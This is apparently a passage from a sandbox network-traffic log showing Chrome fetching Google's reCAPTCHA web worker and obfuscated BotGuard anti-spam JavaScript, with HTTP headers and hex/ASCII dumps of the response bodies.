2025-01-15 09:06:52 UTC	1390	IN	Data Raw: 65 6e 67 74 68 2d 31 5d 7c 7c 39 35 2c 28 51 3d 67 28 34 38 32 2c 6c 29 29 26 26 51 5b 51 2e 6c 65 6e 67 74 68 2d 31 5d 3d 3d 49 7c 7c 66 28 6c 2c 34 38 32 2c 5b 49 26 32 35 35 5d 29 29 3a 66 28 6c 2c 32 38 34 2c 5b 39 35 5d 29 2c 66 28 6c 2c 33 37 2c 75 28 5a 2e 6c 65 6e 67 74 68 2c 32 29 2e 63 6f 6e 63 61 74 28 5a 29 2c 39 29 7d 66 69 6e 61 6c 6c 79 7b 6c 2e 73 3d 56 7d 7d 7d 2c 42 71 3d 66 75 6e 63 74 69 6f 6e 28 5a 29 7b 72 65 74 75 72 6e 20 5a 7d 2c 63 3d 66 75 6e 63 74 69 6f 6e 28 5a 2c 56 2c 6c 2c 59 2c 50 2c 53 2c 51 2c 49 2c 57 2c 4b 2c 7a 2c 78 2c 54 2c 4c 29 7b 69 66 28 7a 3d 67 28 31 33 30 2c 6c 29 2c 7a 3e 3d 6c 2e 49 29 74 68 72 6f 77 5b 58 2c 33 31 5d 3b 66 6f 72 28 4b 3d 28 49 3d 28 51 3d 28 59 3d 30 2c 5a 29 2c 7a 29 2c 6c 2e 6d 64 2e 6c Data Ascii: ength-1]\|\|95,(Q=g(482,l))&&Q[Q.length-1]==I\|\|f(l,482,[I&255])):f(l,284,[95]),f(l,37,u(Z.length,2).concat(Z),9)}finally{l.s=V}}},Bq=function(Z){return Z},c=function(Z,V,l,Y,P,S,Q,I,W,K,z,x,T,L){if(z=g(130,l),z>=l.I)throw[X,31];for(K=(I=(Q=(Y=0,Z),z),l.md.l
2025-01-15 09:06:52 UTC	1390	IN	Data Raw: 2e 50 3d 28 56 2e 73 72 3d 30 2c 30 29 2c 5b 5d 29 2c 76 6f 69 64 20 30 29 2c 56 2e 4f 72 3d 21 28 56 2e 49 3d 30 2c 56 2e 4b 3d 5b 5d 2c 56 2e 54 3d 21 28 28 56 2e 56 55 3d 5b 5d 2c 56 29 2e 52 3d 76 6f 69 64 20 30 2c 56 2e 57 32 3d 66 61 6c 73 65 2c 56 2e 4c 53 3d 32 35 2c 56 2e 70 53 3d 50 2c 56 2e 72 6e 3d 28 56 2e 69 3d 76 6f 69 64 20 30 2c 30 29 2c 56 2e 4e 3d 5b 5d 2c 31 29 2c 31 29 2c 56 2e 41 3d 31 2c 56 29 2e 48 32 3d 28 56 2e 6a 49 3d 28 28 56 2e 47 3d 30 2c 56 29 2e 53 3d 5b 5d 2c 5b 5d 29 2c 6c 29 2c 76 6f 69 64 20 30 29 2c 56 2e 67 3d 30 2c 56 29 2e 57 3d 76 6f 69 64 20 30 2c 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 7c 7c 7b 7d 29 2c 6c 2e 74 69 6d 65 4f 72 69 67 69 6e 29 7c 7c 28 6c 2e 74 69 6d 69 6e 67 7c 7c 7b 7d 29 2e 6e 61 Data Ascii: .P=(V.sr=0,0),[]),void 0),V.Or=!(V.I=0,V.K=[],V.T=!((V.VU=[],V).R=void 0,V.W2=false,V.LS=25,V.pS=P,V.rn=(V.i=void 0,0),V.N=[],1),1),V.A=1,V).H2=(V.jI=((V.G=0,V).S=[],[]),l),void 0),V.g=0,V).W=void 0,window.performance\|\|{}),l.timeOrigin)\|\|(l.timing\|\|{}).na
2025-01-15 09:06:52 UTC	1390	IN	Data Raw: 28 31 38 2c 4b 2c 5b 7a 2c 54 2c 78 5d 29 29 7d 2c 28 55 28 33 37 36 2c 28 79 28 66 75 6e 63 74 69 6f 6e 28 4b 2c 7a 2c 78 29 7b 28 78 3d 28 7a 3d 28 78 3d 4f 28 28 7a 3d 4f 28 4b 29 2c 4b 29 29 2c 67 28 7a 2c 4b 29 29 21 3d 30 2c 67 28 78 2c 4b 29 29 2c 7a 29 26 26 55 28 31 33 30 2c 4b 2c 78 29 7d 2c 28 79 28 66 75 6e 63 74 69 6f 6e 28 4b 2c 7a 2c 78 2c 54 2c 4c 29 7b 28 4c 3d 28 78 3d 28 54 3d 28 78 3d 28 4c 3d 4f 28 28 7a 3d 4f 28 4b 29 2c 4b 29 29 2c 4f 28 4b 29 29 2c 54 3d 4f 28 4b 29 2c 67 28 54 2c 4b 29 29 2c 67 28 78 2c 4b 29 29 2c 67 28 4c 2c 4b 29 29 2c 55 29 28 7a 2c 4b 2c 47 73 28 78 2c 4c 2c 54 2c 4b 29 29 7d 2c 28 55 28 31 38 2c 56 2c 28 55 28 33 34 38 2c 28 79 28 66 75 6e 63 74 69 6f 6e 28 4b 2c 7a 2c 78 2c 54 2c 4c 29 7b 66 6f 72 28 78 3d Data Ascii: (18,K,[z,T,x]))},(U(376,(y(function(K,z,x){(x=(z=(x=O((z=O(K),K)),g(z,K))!=0,g(x,K)),z)&&U(130,K,x)},(y(function(K,z,x,T,L){(L=(x=(T=(x=(L=O((z=O(K),K)),O(K)),T=O(K),g(T,K)),g(x,K)),g(L,K)),U)(z,K,Gs(x,L,T,K))},(U(18,V,(U(348,(y(function(K,z,x,T,L){for(x=
2025-01-15 09:06:52 UTC	1390	IN	Data Raw: 2c 56 2c 28 28 56 2e 6b 75 79 64 71 73 3d 28 56 2e 6c 61 61 6e 74 66 3d 5b 5d 2c 56 2e 62 67 6f 64 6e 64 3d 30 2c 56 2e 63 70 6e 71 6a 6e 3d 22 22 2c 5b 5d 29 2c 56 29 2e 76 26 26 56 2e 76 2e 61 26 26 28 28 5a 3d 56 2e 76 2e 62 29 26 26 28 56 2e 62 67 6f 64 6e 64 3d 5a 29 2c 28 5a 3d 56 2e 76 2e 63 29 26 26 28 56 2e 63 70 6e 71 6a 6e 3d 5a 29 2c 28 5a 3d 56 2e 76 2e 64 29 26 26 28 56 2e 6b 75 79 64 71 73 3d 5a 29 2c 28 5a 3d 56 2e 76 2e 65 29 26 26 28 56 2e 6c 61 61 6e 74 66 3d 5a 29 29 2c 30 29 29 2c 34 34 37 29 2c 56 2c 30 29 2c 30 29 29 2c 56 29 2c 5b 5d 29 2c 56 29 2c 6b 29 2c 31 34 31 29 29 2c 56 29 2c 5b 32 30 34 38 5d 29 2c 66 75 6e 63 74 69 6f 6e 28 4b 29 7b 45 78 28 34 2c 4b 29 7d 29 2c 56 2c 33 38 38 29 2c 34 36 30 29 29 2c 34 34 35 29 29 2c 33 Data Ascii: ,V,((V.kuydqs=(V.laantf=[],V.bgodnd=0,V.cpnqjn="",[]),V).v&&V.v.a&&((Z=V.v.b)&&(V.bgodnd=Z),(Z=V.v.c)&&(V.cpnqjn=Z),(Z=V.v.d)&&(V.kuydqs=Z),(Z=V.v.e)&&(V.laantf=Z)),0)),447),V,0),0)),V),[]),V),k),141)),V),[2048]),function(K){Ex(4,K)}),V,388),460)),445)),3
2025-01-15 09:06:52 UTC	1390	IN	Data Raw: 72 6e 20 6c 7d 2c 67 72 3d 66 75 6e 63 74 69 6f 6e 28 5a 2c 56 2c 6c 2c 59 2c 50 2c 53 29 7b 66 6f 72 28 59 3d 28 56 3d 4f 28 28 53 3d 28 28 28 6c 3d 28 50 3d 5a 5b 68 31 5d 7c 7c 7b 7d 2c 4f 28 5a 29 29 2c 50 29 2e 78 44 3d 4f 28 5a 29 2c 50 29 2e 58 3d 5b 5d 2c 5a 2e 73 3d 3d 5a 3f 28 4e 28 5a 29 7c 30 29 2d 31 3a 31 29 2c 5a 29 29 2c 30 29 3b 59 3c 53 3b 59 2b 2b 29 50 2e 58 2e 70 75 73 68 28 4f 28 5a 29 29 3b 66 6f 72 28 3b 53 2d 2d 3b 29 50 2e 58 5b 53 5d 3d 67 28 50 2e 58 5b 53 5d 2c 5a 29 3b 72 65 74 75 72 6e 20 50 2e 52 62 3d 67 28 56 2c 5a 29 2c 50 2e 71 45 3d 67 28 6c 2c 5a 29 2c 50 7d 2c 70 75 3d 66 75 6e 63 74 69 6f 6e 28 5a 2c 56 2c 6c 29 7b 69 66 28 5a 2e 6c 65 6e 67 74 68 3d 3d 33 29 7b 66 6f 72 28 6c 3d 30 3b 6c 3c 33 3b 6c 2b 2b 29 56 5b Data Ascii: rn l},gr=function(Z,V,l,Y,P,S){for(Y=(V=O((S=(((l=(P=Z[h1]\|\|{},O(Z)),P).xD=O(Z),P).X=[],Z.s==Z?(N(Z)\|0)-1:1),Z)),0);Y<S;Y++)P.X.push(O(Z));for(;S--;)P.X[S]=g(P.X[S],Z);return P.Rb=g(V,Z),P.qE=g(l,Z),P},pu=function(Z,V,l){if(Z.length==3){for(l=0;l<3;l++)V[
2025-01-15 09:06:52 UTC	1390	IN	Data Raw: 2c 55 3d 66 75 6e 63 74 69 6f 6e 28 5a 2c 56 2c 6c 29 7b 69 66 28 5a 3d 3d 31 33 30 7c 7c 5a 3d 3d 34 34 37 29 56 2e 4b 5b 5a 5d 3f 56 2e 4b 5b 5a 5d 2e 63 6f 6e 63 61 74 28 6c 29 3a 56 2e 4b 5b 5a 5d 3d 65 4e 28 6c 2c 56 29 3b 65 6c 73 65 7b 69 66 28 56 2e 57 32 26 26 5a 21 3d 31 31 29 72 65 74 75 72 6e 3b 5a 3d 3d 31 37 34 7c 7c 5a 3d 3d 33 37 7c 7c 5a 3d 3d 39 7c 7c 5a 3d 3d 33 35 32 7c 7c 5a 3d 3d 39 30 7c 7c 5a 3d 3d 32 38 34 7c 7c 5a 3d 3d 34 38 32 7c 7c 5a 3d 3d 33 31 36 7c 7c 5a 3d 3d 33 37 36 7c 7c 5a 3d 3d 32 38 33 3f 56 2e 4b 5b 5a 5d 7c 7c 28 56 2e 4b 5b 5a 5d 3d 5a 6e 28 5a 2c 56 2c 36 32 2c 6c 29 29 3a 56 2e 4b 5b 5a 5d 3d 5a 6e 28 5a 2c 56 2c 35 37 2c 6c 29 7d 5a 3d 3d 31 31 26 26 28 56 2e 52 3d 63 28 33 32 2c 66 61 6c 73 65 2c 56 29 2c 56 Data Ascii: ,U=function(Z,V,l){if(Z==130\|\|Z==447)V.K[Z]?V.K[Z].concat(l):V.K[Z]=eN(l,V);else{if(V.W2&&Z!=11)return;Z==174\|\|Z==37\|\|Z==9\|\|Z==352\|\|Z==90\|\|Z==284\|\|Z==482\|\|Z==316\|\|Z==376\|\|Z==283?V.K[Z]\|\|(V.K[Z]=Zn(Z,V,62,l)):V.K[Z]=Zn(Z,V,57,l)}Z==11&&(V.R=c(32,false,V),V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49774	216.58.206.36	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:06:54 UTC	495	OUT	GET /recaptcha/api2/webworker.js?hl=en&v=1Bq_oiMBd4XPUhKDwr0YL1Js HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 09:06:54 UTC	917	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Expires: Wed, 15 Jan 2025 09:06:54 GMT Date: Wed, 15 Jan 2025 09:06:54 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: same-site Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-01-15 09:06:54 UTC	108	IN	Data Raw: 36 36 0d 0a 69 6d 70 6f 72 74 53 63 72 69 70 74 73 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 31 42 71 5f 6f 69 4d 42 64 34 58 50 55 68 4b 44 77 72 30 59 4c 31 4a 73 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 29 3b 0d 0a Data Ascii: 66importScripts('https://www.gstatic.com/recaptcha/releases/1Bq_oiMBd4XPUhKDwr0YL1Js/recaptcha__en.js');
2025-01-15 09:06:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49775	216.58.206.36	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:06:54 UTC	487	OUT	GET /js/bg/CY4IdQ8PNOqs9ugPxTaJh2hYWy8m1lFu__OIecPWn-w.js HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 09:06:54 UTC	811	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/botguard-scs Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="botguard-scs" Report-To: {"group":"botguard-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/botguard-scs"}]} Content-Length: 18936 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 15 Jan 2025 05:34:32 GMT Expires: Thu, 15 Jan 2026 05:34:32 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 30 Dec 2024 11:30:00 GMT Content-Type: text/javascript Vary: Accept-Encoding Age: 12742 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-15 09:06:54 UTC	579	IN	Data Raw: 2f 2a 20 41 6e 74 69 2d 73 70 61 6d 2e 20 57 61 6e 74 20 74 6f 20 73 61 79 20 68 65 6c 6c 6f 3f 20 43 6f 6e 74 61 63 74 20 28 62 61 73 65 36 34 29 20 59 6d 39 30 5a 33 56 68 63 6d 51 74 59 32 39 75 64 47 46 6a 64 45 42 6e 62 32 39 6e 62 47 55 75 59 32 39 74 20 2a 2f 20 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 50 3d 66 75 6e 63 74 69 6f 6e 28 56 2c 5a 29 7b 69 66 28 5a 3d 28 56 3d 6e 75 6c 6c 2c 4b 29 2e 74 72 75 73 74 65 64 54 79 70 65 73 2c 21 5a 7c 7c 21 5a 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 29 72 65 74 75 72 6e 20 56 3b 74 72 79 7b 56 3d 5a 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 22 62 67 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 59 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 59 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 59 7d 29 7d Data Ascii: /* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t */ (function(){var P=function(V,Z){if(Z=(V=null,K).trustedTypes,!Z\|\|!Z.createPolicy)return V;try{V=Z.createPolicy("bg",{createHTML:Y,createScript:Y,createScriptURL:Y})}
2025-01-15 09:06:54 UTC	1390	IN	Data Raw: 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 27 2c 0a 27 2a 2f 27 2c 0a 27 76 61 72 20 5a 6e 3d 66 75 6e 63 74 69 6f 6e 28 5a 2c 56 2c 6c 2c 59 2c 50 2c 53 2c 51 2c 49 29 7b 72 65 74 75 72 6e 28 53 3d 28 59 3d 5b 2d 34 39 2c 37 36 2c 37 31 2c 2d 34 2c 36 32 2c 2d 32 30 2c 59 2c 2d 31 35 2c 36 35 2c 2d 34 30 5d 2c 50 3d 28 49 3d 56 70 2c 6c 26 37 29 2c 43 29 5b 56 2e 4c 5d 28 56 2e 6e 53 29 2c 53 29 5b 56 2e 4c 5d 3d 66 75 6e 63 74 69 6f 6e 28 57 29 7b 50 2b 3d 36 2b 28 51 3d 57 2c 37 29 2a 6c 2c 50 26 3d 37 7d 2c 53 2e 63 6f 6e 63 61 74 3d 66 75 6e 63 74 69 6f 6e 28 57 29 7b 72 65 74 75 72 6e 28 28 51 3d 28 57 3d 28 57 3d 2b 28 57 3d 5a 25 31 36 2b 31 2c 59 29 5b 50 2b 37 35 26 37 5d 2a 5a 2a 57 2d 31 36 30 2a Data Ascii: License-Identifier: Apache-2.0','/','var Zn=function(Z,V,l,Y,P,S,Q,I){return(S=(Y=[-49,76,71,-4,62,-20,Y,-15,65,-40],P=(I=Vp,l&7),C)[V.L](V.nS),S)[V.L]=function(W){P+=6+(Q=W,7)l,P&=7},S.concat=function(W){return((Q=(W=(W=+(W=Z%16+1,Y)[P+75&7]ZW-160*
2025-01-15 09:06:54 UTC	1390	IN	Data Raw: 6c 69 63 65 22 29 29 72 65 74 75 72 6e 22 61 72 72 61 79 22 3b 69 66 28 6c 3d 3d 22 5b 6f 62 6a 65 63 74 20 46 75 6e 63 74 69 6f 6e 5d 22 7c 7c 74 79 70 65 6f 66 20 5a 2e 63 61 6c 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 20 5a 2e 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 21 5a 2e 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 28 22 63 61 6c 6c 22 29 29 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 7d 65 6c 73 65 20 72 65 74 75 72 6e 22 6e 75 6c 6c 22 3b 65 6c 73 65 20 69 66 28 56 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 20 5a 2e 63 61 6c 6c 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 72 65 74 75 72 6e 22 6f 62 6a 65 63 74 22 3b 72 65 74 Data Ascii: lice"))return"array";if(l=="[object Function]"\|\|typeof Z.call!="undefined"&&typeof Z.propertyIsEnumerable!="undefined"&&!Z.propertyIsEnumerable("call"))return"function"}else return"null";else if(V=="function"&&typeof Z.call=="undefined")return"object";ret
2025-01-15 09:06:54 UTC	1390	IN	Data Raw: 59 5b 50 2b 2b 5d 3d 56 3e 3e 31 38 7c 32 34 30 2c 59 5b 50 2b 2b 5d 3d 56 3e 3e 31 32 26 36 33 7c 31 32 38 29 3a 59 5b 50 2b 2b 5d 3d 56 3e 3e 31 32 7c 32 32 34 2c 59 5b 50 2b 2b 5d 3d 56 3e 3e 36 26 36 33 7c 31 32 38 29 2c 59 5b 50 2b 2b 5d 3d 56 26 36 33 7c 31 32 38 29 3b 72 65 74 75 72 6e 20 59 7d 2c 67 3d 66 75 6e 63 74 69 6f 6e 28 5a 2c 56 29 7b 69 66 28 56 3d 56 2e 4b 5b 5a 5d 2c 56 3d 3d 3d 76 6f 69 64 20 30 29 74 68 72 6f 77 5b 58 2c 33 30 2c 5a 5d 3b 69 66 28 56 2e 76 61 6c 75 65 29 72 65 74 75 72 6e 20 56 2e 63 72 65 61 74 65 28 29 3b 72 65 74 75 72 6e 20 56 2e 63 72 65 61 74 65 28 5a 2a 34 2a 5a 2b 37 36 2a 5a 2b 35 33 29 2c 56 2e 70 72 6f 74 6f 74 79 70 65 7d 2c 57 71 3d 66 75 6e 63 74 69 6f 6e 28 5a 2c 56 2c 6c 2c 59 29 7b 66 6f 72 28 59 3d Data Ascii: Y[P++]=V>>18\|240,Y[P++]=V>>12&63\|128):Y[P++]=V>>12\|224,Y[P++]=V>>6&63\|128),Y[P++]=V&63\|128);return Y},g=function(Z,V){if(V=V.K[Z],V===void 0)throw[X,30,Z];if(V.value)return V.create();return V.create(Z4Z+76*Z+53),V.prototype},Wq=function(Z,V,l,Y){for(Y=
2025-01-15 09:06:54 UTC	1390	IN	Data Raw: 65 6e 67 74 68 2d 31 5d 7c 7c 39 35 2c 28 51 3d 67 28 34 38 32 2c 6c 29 29 26 26 51 5b 51 2e 6c 65 6e 67 74 68 2d 31 5d 3d 3d 49 7c 7c 66 28 6c 2c 34 38 32 2c 5b 49 26 32 35 35 5d 29 29 3a 66 28 6c 2c 32 38 34 2c 5b 39 35 5d 29 2c 66 28 6c 2c 33 37 2c 75 28 5a 2e 6c 65 6e 67 74 68 2c 32 29 2e 63 6f 6e 63 61 74 28 5a 29 2c 39 29 7d 66 69 6e 61 6c 6c 79 7b 6c 2e 73 3d 56 7d 7d 7d 2c 42 71 3d 66 75 6e 63 74 69 6f 6e 28 5a 29 7b 72 65 74 75 72 6e 20 5a 7d 2c 63 3d 66 75 6e 63 74 69 6f 6e 28 5a 2c 56 2c 6c 2c 59 2c 50 2c 53 2c 51 2c 49 2c 57 2c 4b 2c 7a 2c 78 2c 54 2c 4c 29 7b 69 66 28 7a 3d 67 28 31 33 30 2c 6c 29 2c 7a 3e 3d 6c 2e 49 29 74 68 72 6f 77 5b 58 2c 33 31 5d 3b 66 6f 72 28 4b 3d 28 49 3d 28 51 3d 28 59 3d 30 2c 5a 29 2c 7a 29 2c 6c 2e 6d 64 2e 6c Data Ascii: ength-1]\|\|95,(Q=g(482,l))&&Q[Q.length-1]==I\|\|f(l,482,[I&255])):f(l,284,[95]),f(l,37,u(Z.length,2).concat(Z),9)}finally{l.s=V}}},Bq=function(Z){return Z},c=function(Z,V,l,Y,P,S,Q,I,W,K,z,x,T,L){if(z=g(130,l),z>=l.I)throw[X,31];for(K=(I=(Q=(Y=0,Z),z),l.md.l
2025-01-15 09:06:54 UTC	1390	IN	Data Raw: 2e 50 3d 28 56 2e 73 72 3d 30 2c 30 29 2c 5b 5d 29 2c 76 6f 69 64 20 30 29 2c 56 2e 4f 72 3d 21 28 56 2e 49 3d 30 2c 56 2e 4b 3d 5b 5d 2c 56 2e 54 3d 21 28 28 56 2e 56 55 3d 5b 5d 2c 56 29 2e 52 3d 76 6f 69 64 20 30 2c 56 2e 57 32 3d 66 61 6c 73 65 2c 56 2e 4c 53 3d 32 35 2c 56 2e 70 53 3d 50 2c 56 2e 72 6e 3d 28 56 2e 69 3d 76 6f 69 64 20 30 2c 30 29 2c 56 2e 4e 3d 5b 5d 2c 31 29 2c 31 29 2c 56 2e 41 3d 31 2c 56 29 2e 48 32 3d 28 56 2e 6a 49 3d 28 28 56 2e 47 3d 30 2c 56 29 2e 53 3d 5b 5d 2c 5b 5d 29 2c 6c 29 2c 76 6f 69 64 20 30 29 2c 56 2e 67 3d 30 2c 56 29 2e 57 3d 76 6f 69 64 20 30 2c 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 7c 7c 7b 7d 29 2c 6c 2e 74 69 6d 65 4f 72 69 67 69 6e 29 7c 7c 28 6c 2e 74 69 6d 69 6e 67 7c 7c 7b 7d 29 2e 6e 61 Data Ascii: .P=(V.sr=0,0),[]),void 0),V.Or=!(V.I=0,V.K=[],V.T=!((V.VU=[],V).R=void 0,V.W2=false,V.LS=25,V.pS=P,V.rn=(V.i=void 0,0),V.N=[],1),1),V.A=1,V).H2=(V.jI=((V.G=0,V).S=[],[]),l),void 0),V.g=0,V).W=void 0,window.performance\|\|{}),l.timeOrigin)\|\|(l.timing\|\|{}).na
2025-01-15 09:06:54 UTC	1390	IN	Data Raw: 28 31 38 2c 4b 2c 5b 7a 2c 54 2c 78 5d 29 29 7d 2c 28 55 28 33 37 36 2c 28 79 28 66 75 6e 63 74 69 6f 6e 28 4b 2c 7a 2c 78 29 7b 28 78 3d 28 7a 3d 28 78 3d 4f 28 28 7a 3d 4f 28 4b 29 2c 4b 29 29 2c 67 28 7a 2c 4b 29 29 21 3d 30 2c 67 28 78 2c 4b 29 29 2c 7a 29 26 26 55 28 31 33 30 2c 4b 2c 78 29 7d 2c 28 79 28 66 75 6e 63 74 69 6f 6e 28 4b 2c 7a 2c 78 2c 54 2c 4c 29 7b 28 4c 3d 28 78 3d 28 54 3d 28 78 3d 28 4c 3d 4f 28 28 7a 3d 4f 28 4b 29 2c 4b 29 29 2c 4f 28 4b 29 29 2c 54 3d 4f 28 4b 29 2c 67 28 54 2c 4b 29 29 2c 67 28 78 2c 4b 29 29 2c 67 28 4c 2c 4b 29 29 2c 55 29 28 7a 2c 4b 2c 47 73 28 78 2c 4c 2c 54 2c 4b 29 29 7d 2c 28 55 28 31 38 2c 56 2c 28 55 28 33 34 38 2c 28 79 28 66 75 6e 63 74 69 6f 6e 28 4b 2c 7a 2c 78 2c 54 2c 4c 29 7b 66 6f 72 28 78 3d Data Ascii: (18,K,[z,T,x]))},(U(376,(y(function(K,z,x){(x=(z=(x=O((z=O(K),K)),g(z,K))!=0,g(x,K)),z)&&U(130,K,x)},(y(function(K,z,x,T,L){(L=(x=(T=(x=(L=O((z=O(K),K)),O(K)),T=O(K),g(T,K)),g(x,K)),g(L,K)),U)(z,K,Gs(x,L,T,K))},(U(18,V,(U(348,(y(function(K,z,x,T,L){for(x=
2025-01-15 09:06:54 UTC	1390	IN	Data Raw: 2c 56 2c 28 28 56 2e 6b 75 79 64 71 73 3d 28 56 2e 6c 61 61 6e 74 66 3d 5b 5d 2c 56 2e 62 67 6f 64 6e 64 3d 30 2c 56 2e 63 70 6e 71 6a 6e 3d 22 22 2c 5b 5d 29 2c 56 29 2e 76 26 26 56 2e 76 2e 61 26 26 28 28 5a 3d 56 2e 76 2e 62 29 26 26 28 56 2e 62 67 6f 64 6e 64 3d 5a 29 2c 28 5a 3d 56 2e 76 2e 63 29 26 26 28 56 2e 63 70 6e 71 6a 6e 3d 5a 29 2c 28 5a 3d 56 2e 76 2e 64 29 26 26 28 56 2e 6b 75 79 64 71 73 3d 5a 29 2c 28 5a 3d 56 2e 76 2e 65 29 26 26 28 56 2e 6c 61 61 6e 74 66 3d 5a 29 29 2c 30 29 29 2c 34 34 37 29 2c 56 2c 30 29 2c 30 29 29 2c 56 29 2c 5b 5d 29 2c 56 29 2c 6b 29 2c 31 34 31 29 29 2c 56 29 2c 5b 32 30 34 38 5d 29 2c 66 75 6e 63 74 69 6f 6e 28 4b 29 7b 45 78 28 34 2c 4b 29 7d 29 2c 56 2c 33 38 38 29 2c 34 36 30 29 29 2c 34 34 35 29 29 2c 33 Data Ascii: ,V,((V.kuydqs=(V.laantf=[],V.bgodnd=0,V.cpnqjn="",[]),V).v&&V.v.a&&((Z=V.v.b)&&(V.bgodnd=Z),(Z=V.v.c)&&(V.cpnqjn=Z),(Z=V.v.d)&&(V.kuydqs=Z),(Z=V.v.e)&&(V.laantf=Z)),0)),447),V,0),0)),V),[]),V),k),141)),V),[2048]),function(K){Ex(4,K)}),V,388),460)),445)),3
2025-01-15 09:06:54 UTC	1390	IN	Data Raw: 72 6e 20 6c 7d 2c 67 72 3d 66 75 6e 63 74 69 6f 6e 28 5a 2c 56 2c 6c 2c 59 2c 50 2c 53 29 7b 66 6f 72 28 59 3d 28 56 3d 4f 28 28 53 3d 28 28 28 6c 3d 28 50 3d 5a 5b 68 31 5d 7c 7c 7b 7d 2c 4f 28 5a 29 29 2c 50 29 2e 78 44 3d 4f 28 5a 29 2c 50 29 2e 58 3d 5b 5d 2c 5a 2e 73 3d 3d 5a 3f 28 4e 28 5a 29 7c 30 29 2d 31 3a 31 29 2c 5a 29 29 2c 30 29 3b 59 3c 53 3b 59 2b 2b 29 50 2e 58 2e 70 75 73 68 28 4f 28 5a 29 29 3b 66 6f 72 28 3b 53 2d 2d 3b 29 50 2e 58 5b 53 5d 3d 67 28 50 2e 58 5b 53 5d 2c 5a 29 3b 72 65 74 75 72 6e 20 50 2e 52 62 3d 67 28 56 2c 5a 29 2c 50 2e 71 45 3d 67 28 6c 2c 5a 29 2c 50 7d 2c 70 75 3d 66 75 6e 63 74 69 6f 6e 28 5a 2c 56 2c 6c 29 7b 69 66 28 5a 2e 6c 65 6e 67 74 68 3d 3d 33 29 7b 66 6f 72 28 6c 3d 30 3b 6c 3c 33 3b 6c 2b 2b 29 56 5b Data Ascii: rn l},gr=function(Z,V,l,Y,P,S){for(Y=(V=O((S=(((l=(P=Z[h1]\|\|{},O(Z)),P).xD=O(Z),P).X=[],Z.s==Z?(N(Z)\|0)-1:1),Z)),0);Y<S;Y++)P.X.push(O(Z));for(;S--;)P.X[S]=g(P.X[S],Z);return 